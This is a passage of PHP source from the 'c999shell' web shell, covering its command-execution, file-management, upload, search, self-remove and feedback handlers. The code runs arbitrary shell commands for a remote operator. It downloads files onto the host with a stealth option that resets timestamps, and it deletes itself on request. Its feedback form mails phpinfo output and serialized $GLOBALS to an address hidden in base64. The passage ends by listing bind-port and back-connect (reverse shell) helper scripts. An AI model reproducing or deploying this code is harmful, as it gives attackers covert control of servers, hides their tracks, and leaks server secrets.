  5964.  $arr_copy = $sess_data["copy"];
  5965.  $arr_cut = $sess_data["cut"];
  5966.  $arr = array_merge($arr_copy,$arr_cut);
  5967.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  5968.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  5969. }
  5970. if ($act == "selfremove")
  5971. {
  5972.  if (($submit == $rndcode) and ($submit != ""))
  5973.  {
  5974.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); }
  5975.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  5976.  }
  5977.  else
  5978.  {
  5979.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  5980.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  5981.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  5982.  }
  5983. }
  5984. if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  5985. if ($act == "feedback")
  5986. {
  5987.  $suppmail = base64_decode("ZGV2QGJsYWRlODMuZGU=");
  5988.  if (!empty($submit))
  5989.  {
  5990.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  5991.   $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  5992.   if (!empty($fdbk_ref))
  5993.   {
  5994.    $tmp = @ob_get_contents();
  5995.    ob_clean();
  5996.    phpinfo();
  5997.    $phpinfo = base64_encode(ob_get_contents());
  5998.    ob_clean();
  5999.    echo $tmp;
  6000.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  6001.   }
  6002.   mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  6003.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  6004.  }
  6005.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Deutsch.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  6006. }
  6007. if ($act == "search")
  6008. {
  6009.  echo "<b>Search in file-system:</b><br>";
  6010.  if (empty($search_in)) {$search_in = $d;}
  6011.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  6012.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  6013.  if (!empty($submit))
  6014.  {
  6015.   $found = array();
  6016.   $found_d = 0;
  6017.   $found_f = 0;
  6018.   $search_i_f = 0;
  6019.   $search_i_d = 0;
  6020.   $a = array
  6021.   (
  6022.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  6023.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  6024.    "text_wwo"=>$search_text_wwo,
  6025.    "text_cs"=>$search_text_cs,
  6026.    "text_not"=>$search_text_not
  6027.   );
  6028.   $searchtime = getmicrotime();
  6029.   $in = array_unique(explode(";",$search_in));
  6030.   foreach($in as $v) {c999fsearch($v);}
  6031.   $searchtime = round(getmicrotime()-$searchtime,4);
  6032.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  6033.   else
  6034.   {
  6035.    $ls_arr = $found;
  6036.    $disp_fullpath = TRUE;
  6037.    $act = "ls";
  6038.   }
  6039.  }
  6040.  echo "<form method=POST>
  6041. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  6042. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  6043. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  6044. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  6045. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  6046. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  6047. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  6048. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  6049. <br><br><input type=submit name=submit value=\"Search\"></form>";
  6050.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  6051. }
  6052. if ($act == "chmod")
  6053. {
  6054.  $mode = fileperms($d.$f);
  6055.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  6056.  else
  6057.  {
  6058.   $form = TRUE;
  6059.   if ($chmod_submit)
  6060.   {
  6061.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  6062.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  6063.    else {$err = "Can't chmod to ".$octet.".";}
  6064.   }
  6065.   if ($form)
  6066.   {
  6067.    $perms = parse_perms($mode);
  6068.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  6069.   }
  6070.  }
  6071. }
  6072. if ($act == "upload")
  6073. {
  6074.  $uploadmess = "";
  6075.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  6076.  if (empty($uploadpath)) {$uploadpath = $d;}
  6077.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  6078.  if (!empty($submit))
  6079.  {
  6080.   global $HTTP_POST_FILES;
  6081.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  6082.   if (!empty($uploadfile["tmp_name"]))
  6083.   {
  6084.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  6085.    else {$destin = $userfilename;}
  6086.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  6087.   }
  6088.   elseif (!empty($uploadurl))
  6089.   {
  6090.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  6091.    else
  6092.    {
  6093.     $destin = explode("/",$destin);
  6094.     $destin = $destin[count($destin)-1];
  6095.     if (empty($destin))
  6096.     {
  6097.      $i = 0;
  6098.      $b = "";
  6099.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  6100.    }
  6101.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  6102.    else
  6103.    {
  6104.     $st = getmicrotime();
  6105.     $content = @file_get_contents($uploadurl);
  6106.     $dt = round(getmicrotime()-$st,4);
  6107.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  6108.     else
  6109.     {
  6110.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  6111.      $fp = fopen($uploadpath.$destin,"w");
  6112.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  6113.      else
  6114.      {
  6115.       fwrite($fp,$content,strlen($content));
  6116.       fclose($fp);
  6117.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  6118.      }
  6119.     }
  6120.    }
  6121.   }
  6122.  }
  6123.  if ($miniform)
  6124.  {
  6125.   echo "<b>".$uploadmess."</b>";
  6126.   $act = "ls";
  6127.  }
  6128.  else
  6129.  {
  6130.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  6131.  
  6132. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  6133. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  6134. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  6135. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  6136. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  6137. <input type=submit name=submit value=\"Upload\">
  6138. </form>";
  6139.  }
  6140. }
  6141. if ($act == "delete")
  6142. {
  6143.  $delerr = "";
  6144.  foreach ($actbox as $v)
  6145.  {
  6146.   $result = FALSE;
  6147.   $result = fs_rmobj($v);
  6148.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  6149.  }
  6150.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  6151.  $act = "ls";
  6152. }
  6153. if (!$usefsbuff)
  6154. {
  6155.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  6156. }
  6157. else
  6158. {
  6159.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; }
  6160.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";}
  6161.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";}
  6162.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);}
  6163.  elseif ($actpastebuff)
  6164.  {
  6165.   $psterr = "";
  6166.   foreach($sess_data["copy"] as $k=>$v)
  6167.   {
  6168.    $to = $d.basename($v);
  6169.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  6170.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  6171.   }
  6172.   foreach($sess_data["cut"] as $k=>$v)
  6173.   {
  6174.    $to = $d.basename($v);
  6175.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  6176.    unset($sess_data["cut"][$k]);
  6177.   }
  6178.   c999_sess_put($sess_data);
  6179.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  6180.   $act = "ls";
  6181.  }
  6182.  elseif ($actarcbuff)
  6183.  {
  6184.   $arcerr = "";
  6185.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  6186.   else {$ext = ".tar.gz";}
  6187.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  6188.   $cmdline .= " ".$actarcbuff_path;
  6189.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  6190.   foreach($objects as $v)
  6191.   {
  6192.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  6193.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  6194.    if (is_dir($v))
  6195.    {
  6196.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  6197.     $v .= "*";
  6198.    }
  6199.    $cmdline .= " ".$v;
  6200.   }
  6201.   $tmp = realpath(".");
  6202.   chdir($d);
  6203.   $ret = myshellexec($cmdline);
  6204.   chdir($tmp);
  6205.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  6206.   $ret = str_replace("\r\n","\n",$ret);
  6207.   $ret = explode("\n",$ret);
  6208.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  6209.   foreach($sess_data["cut"] as $k=>$v)
  6210.   {
  6211.    if (in_array($v,$ret)) {fs_rmobj($v);}
  6212.    unset($sess_data["cut"][$k]);
  6213.   }
  6214.   c999_sess_put($sess_data);
  6215.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  6216.   $act = "ls";
  6217.  }
  6218.  elseif ($actpastebuff)
  6219.  {
  6220.   $psterr = "";
  6221.   foreach($sess_data["copy"] as $k=>$v)
  6222.   {
  6223.    $to = $d.basename($v);
  6224.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  6225.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  6226.   }
  6227.   foreach($sess_data["cut"] as $k=>$v)
  6228.   {
  6229.    $to = $d.basename($v);
  6230.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  6231.    unset($sess_data["cut"][$k]);
  6232.   }
  6233.   c999_sess_put($sess_data);
  6234.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  6235.   $act = "ls";
  6236.  }
  6237. }
  6238. if ($act == "cmd")
  6239. {
  6240. if (trim($cmd) == "ps -aux") {$act = "processes";}
  6241. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  6242. else
  6243. {
  6244.  @chdir($chdir);
  6245.  if (!empty($submit))
  6246.  {
  6247.   echo "<b>Result of execution this command</b>:<br>";
  6248.   $olddir = realpath(".");
  6249.   @chdir($d);
  6250.   $ret = myshellexec($cmd);
  6251.   $ret = convert_cyr_string($ret,"d","w");
  6252.   if ($cmd_txt)
  6253.   {
  6254.    $rows = count(explode("\r\n",$ret))+1;
  6255.    if ($rows < 10) {$rows = 10;}
  6256.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  6257.   }
  6258.   else {echo $ret."<br>";}
  6259.   @chdir($olddir);
  6260.  }
  6261.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  6262.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  6263. }
  6264. }
  6265. if ($act == "ls")
  6266. {
  6267.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  6268.  else
  6269.  {
  6270.   $list = array();
  6271.   if ($h = @opendir($d))
  6272.   {
  6273.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  6274.    closedir($h);
  6275.   }
  6276.   else {}
  6277.  }
  6278.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  6279.  else
  6280.  {
  6281.   //Building array
  6282.   $objects = array();
  6283.   $vd = "f"; //Viewing mode
  6284.   if ($vd == "f")
  6285.   {
  6286.    $objects["head"] = array();
  6287.    $objects["folders"] = array();
  6288.    $objects["links"] = array();
  6289.    $objects["files"] = array();
  6290.    foreach ($list as $v)
  6291.    {
  6292.     $o = basename($v);
  6293.     $row = array();
  6294.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  6295.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  6296.     elseif (is_dir($v))
  6297.     {
  6298.      if (is_link($v)) {$type = "LINK";}
  6299.      else {$type = "DIR";}
  6300.      $row[] = $v;
  6301.      $row[] = $type;
  6302.     }
  6303.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  6304.     $row[] = filemtime($v);
  6305.     if (!$win)
  6306.     {
  6307.      $ow = posix_getpwuid(fileowner($v));
  6308.      $gr = posix_getgrgid(filegroup($v));
  6309.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  6310.     }
  6311.     $row[] = fileperms($v);
  6312.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  6313.     elseif (is_link($v)) {$objects["links"][] = $row;}
  6314.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  6315.     elseif (is_file($v)) {$objects["files"][] = $row;}
  6316.     $i++;
  6317.    }
  6318.    $row = array();
  6319.    $row[] = "<b>Name</b>";
  6320.    $row[] = "<b>Size</b>";
  6321.    $row[] = "<b>Modify</b>";
  6322.    if (!$win)
  6323.   {$row[] = "<b>Owner/Group</b>";}
  6324.    $row[] = "<b>Perms</b>";
  6325.    $row[] = "<b>Action</b>";
  6326.    $parsesort = parsesort($sort);
  6327.    $sort = $parsesort[0].$parsesort[1];
  6328.    $k = $parsesort[0];
  6329.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  6330.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  6331.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  6332.    $row[$k] .= $y;
  6333.    for($i=0;$i<count($row)-1;$i++)
  6334.    {
  6335.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  6336.    }
  6337.    $v = $parsesort[0];
  6338.    usort($objects["folders"], "tabsort");
  6339.    usort($objects["links"], "tabsort");
  6340.    usort($objects["files"], "tabsort");
  6341.    if ($parsesort[1] == "d")
  6342.    {
  6343.     $objects["folders"] = array_reverse($objects["folders"]);
  6344.     $objects["files"] = array_reverse($objects["files"]);
  6345.    }
  6346.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  6347.    $tab = array();
  6348.    $tab["cols"] = array($row);
  6349.    $tab["head"] = array();
  6350.    $tab["folders"] = array();
  6351.    $tab["links"] = array();
  6352.    $tab["files"] = array();
  6353.    $i = 0;
  6354.    foreach ($objects as $a)
  6355.    {
  6356.     $v = $a[0];
  6357.     $o = basename($v);
  6358.     $dir = dirname($v);
  6359.     if ($disp_fullpath) {$disppath = $v;}
  6360.     else {$disppath = $o;}
  6361.     $disppath = str2mini($disppath,60);
  6362.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  6363.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  6364.     foreach ($regxp_highlight as $r)
  6365.     {
  6366.      if (ereg($r[0],$o))
  6367.      {
  6368.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();}
  6369.       else
  6370.       {
  6371.        $r[1] = round($r[1]);
  6372.        $isdir = is_dir($v);
  6373.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  6374.        {
  6375.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  6376.         $disppath = $r[2].$disppath.$r[3];
  6377.         if ($r[4]) {break;}
  6378.        }
  6379.       }
  6380.      }
  6381.     }
  6382.     $uo = urlencode($o);
  6383.     $ud = urlencode($dir);
  6384.     $uv = urlencode($v);
  6385.     $row = array();
  6386.     if ($o == ".")
  6387.     {
  6388.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  6389.      $row[] = "LINK";
  6390.     }
  6391.     elseif ($o == "..")
  6392.     {
  6393.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  6394.      $row[] = "LINK";
  6395.     }
  6396.     elseif (is_dir($v))
  6397.     {
  6398.      if (is_link($v))
  6399.      {
  6400.       $disppath .= " => ".readlink($v);
  6401.       $type = "LINK";
  6402.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  6403.      }
  6404.      else
  6405.      {
  6406.       $type = "DIR";
  6407.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  6408.       }
  6409.      $row[] = $type;
  6410.     }
  6411.     elseif(is_file($v))
  6412.     {
  6413.      $ext = explode(".",$o);
  6414.      $c = count($ext)-1;
  6415.      $ext = $ext[$c];
  6416.      $ext = strtolower($ext);
  6417.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  6418.      $row[] = view_size($a[1]);
  6419.     }
  6420.     $row[] = date("d.m.Y H:i:s",$a[2]);
  6421.     if (!$win) {$row[] = $a[3];}
  6422.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  6423.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  6424.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  6425.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  6426.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  6427.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  6428.     elseif (is_link($v)) {$tab["links"][] = $row;}
  6429.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  6430.     elseif (is_file($v)) {$tab["files"][] = $row;}
  6431.     $i++;
  6432.    }
  6433.   }
  6434.   // Compiling table
  6435.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  6436.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  6437.   foreach($table as $row)
  6438.   {
  6439.    echo "<tr>\r\n";
  6440.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  6441.    echo "</tr>\r\n";
  6442.   }
  6443.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  6444.  <script>
  6445.  function ls_setcheckboxall(status)
  6446.  {
  6447.   var id = 1;
  6448.   var num = ".(count($table)-2).";
  6449.   while (id <= num)
  6450.   {
  6451.    document.getElementById('actbox'+id).checked = status;
  6452.    id++;
  6453.   }
  6454.  }
  6455.  function ls_reverse_all()
  6456.  {
  6457.   var id = 1;
  6458.   var num = ".(count($table)-2).";
  6459.   while (id <= num)
  6460.   {
  6461.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  6462.    id++;
  6463.   }
  6464.  }
  6465.  </script>
  6466.  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  6467.  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  6468.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  6469.   {
  6470.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  6471.   }
  6472.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  6473.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  6474.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  6475.   if ($usefsbuff)
  6476.   {
  6477.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  6478.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  6479.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  6480.   }
  6481.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  6482.   echo "</form>";
  6483.  }
  6484. }
  6485. if ($act == "tools")
  6486. {
  6487.  $bndportsrcs = array(
  6488.   "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  6489.   "c999sh_bindport.c"=>array("Using C","%path %port %pass")
  6490.  );
  6491.  $bcsrcs = array(
  6492.   "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  6493.   "c999sh_backconn.c"=>array("Using C","%path %host %port")
  6494.  );
